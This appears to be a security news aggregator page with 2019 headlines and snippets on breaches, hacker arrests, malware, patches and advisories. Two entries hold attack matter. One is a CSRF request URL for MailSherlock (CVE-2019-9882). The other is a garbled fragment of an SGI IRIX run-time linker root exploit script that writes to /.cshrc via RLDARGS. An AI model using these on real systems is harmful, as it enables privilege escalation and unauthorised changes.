Hacker deletes entire student newspaper website of University of Ottawa

By Uzair Amir A hacker or simply call them a cyber criminal hacked into the independent student newspaper of the University of Ottawa uOttawa "The Fulcrum" and ended up deleting the entire website early Sunday morning. The Fulcrum has been serving the University of Ottawa since 1942 while the...

Thousands of IoT Devices Bricked By Silex Malware

A 14-year-old hacker used a new strain of malware this week to brick up to 4,000 insecure Internet of Things devices – before abruptly shutting down his command and control server. The malware, dubbed Silex, was first discovered by Larry Cashdollar, senior security intelligence response engineer ...

MongoDB Offers Field Level Encryption

MongoDB now has the ability to encrypt data by field: MongoDB calls the new feature Field Level Encryption. It works kind of like end-to-end encrypted messaging, which scrambles data as it moves across the internet, revealing it only to the sender and the recipient. In such a "client-side"...

A Likely Chinese Hacker Crew Targeted 10 Phone Carriers to Steal Metadata

In one case, they stole the location and call record data of 20 specific individuals...

He Cyberstalked Teen Girls for Years—Then They Fought Back

How a hacker shamed and humiliated high school girls in a small New Hampshire town, and how they helped take him down...

Death linked to prank – France seeks extradition of hacker from Israel

By Waqas The incident took place in 2014 in which father of a French journalist died of a heart attack soon after prank call made by the hacker. Ulcan, an infamous hacker, could possibly be extradited to France as on Tuesday French prosecutors have officially requested Israeli authorities to let...

Firefox Releases Critical Patch Update to Stop Ongoing Zero-Day Attacks

Important Update 21 June 2019—Mozilla on Thursday released another update Firefox version 67.0.4 to patch a second zero-day vulnerability. If you use the Firefox web browser, you need to update it right now. Mozilla earlier today released Firefox 67.0.3 and Firefox ESR 60.7.1 versions to patch a...

Uber: Arbitrary File Reading on Uber SSL VPN

The hacker has found a series of 0 day related to Pulse Secure SSL VPN...

Data Breach Disclosed by Online Invitation Firm Evite

Online invitation and stationary company Evite has notified customers of a data breach that stemmed from an “inactive data storage file” associated with user accounts. The company over the weekend said that during April 2019, it became aware of a “security incident involving potential unauthorize...

CVE-2019-9882

Multi modules of MailSherlock MSR35 and MSR45 lead to a CSRF vulnerability. It allows attacker to add malicious email sources into whitelist via user/savelist.php?ACSION=&type=email&category=white&locate=big5&cmd=add&[email protected]&newmemo=&add=%E6%96%B0%E5%A2%9E without any...

GitHub ID is SandboxEscaper the user again upload 2 zero-day-vulnerability warning-the black bar safety net

GitHub ID is SandboxEscaper user before on GitHub uploaded a similar security function vulnerability after this time and released for the other two Microsoft zero-day demo code. As a result, the user in the past ten months the release of WIndows zero-day vulnerability has reached 7 months. The tw...

Keep Your Smart Home Safe: Here’s What You Can Do Today to Secure Your Products

The Internet of Things IoT is transforming the way we live, work and play. You can find it in the fitness trackers you might be wearing to monitor step count and heart rate. Or the car you may be driving. But more than anywhere else, you’ll see IoT at home in an increasing array of gadgets: from...

Feds Target $100M ‘GozNym’ Cybercrime Network

Law enforcement agencies in the United States and Europe today unsealed charges against 11 alleged members of the GozNym malware network, an international cybercriminal syndicate suspected of stealing $100 million from more than 41,000 victims with the help of a stealthy banking trojan by the sam...

Hackers steal source code of top anti-virus firms to sell online

By Ryan De Souza Fxsmsp Threat Group, "a credible hacking collective" is offering to sell source code of major anti-virus software for a whopping $300,000. The servers of three high-profile anti-virus firms have allegedly been compromised by a group of elite Russian hackers. The hacker group, kno...

U.S. Charges Chinese Hacker For 2015 Anthem Data Breach

The United States Justice Department today announced charges against a Chinese hacker and his hacking team member for their alleged role in the 2015 massive data breach at health insurance giant Anthem and three other unnamed American companies. Fujie Wang 王 福 杰 and another hacker named John Doe...

Cartoon Network Hacked Worldwide to Show Brazilian Stripper Videos

A famous Brazilian male stripper greeted Cartoon Network viewers worldwide when they tried to stream shows over the weekend – thanks to a pair of hackers that took aim at the cable network’s websites across 16 different regions. In the aftermath, entire Cartoon Network sites and video players hav...

HostHunter - A Recon Tool For Discovering Hostnames Using OSINT Techniques

A tool to efficiently discover and extract hostnames over a large set of target IP addresses. HostHunter utilises simple OSINT techniques. It generates a CSV file containing the results of the reconnaissance. Taking screenshots was also added as a beta functionality. Demo Currently GitLab's marku...

SGI IRIX <= 6.4.x Run-Time Linker Arbitrary File Creation Exploit

SGI IRIX versions 6.4.x and below run-time linker rld arbitrary file creation exploit. !/bin/sh SGI IRIX /etc/passwd" /tmp/.x.sh chmod 755 /tmp/.x.sh RLDARGS="-log /.cshrc |/tmp/.x.sh" /sbin/su last -3 root echo " waiting 5mins for root to login..." sleep 300 su - w00t 0day.today 2019-04-30...

This Week in Security News: Phishing Attacks and Ransomware

Welcome to our weekly roundup, where we share what you need to know about the cybersecurity news and events that happened over the past few days. This week, learn about schemes used in phishing and other email-based attacks. Also, learn how ransomware continues to make a significant impact in the...

GHSA-C538-924G-99Q4 Session Fixation in Apache Zeppelin

Apache Zeppelin prior to 0.7.3 was vulnerable to session fixation which allowed an attacker to hijack a valid user session. Issue was reported by "stone lone"...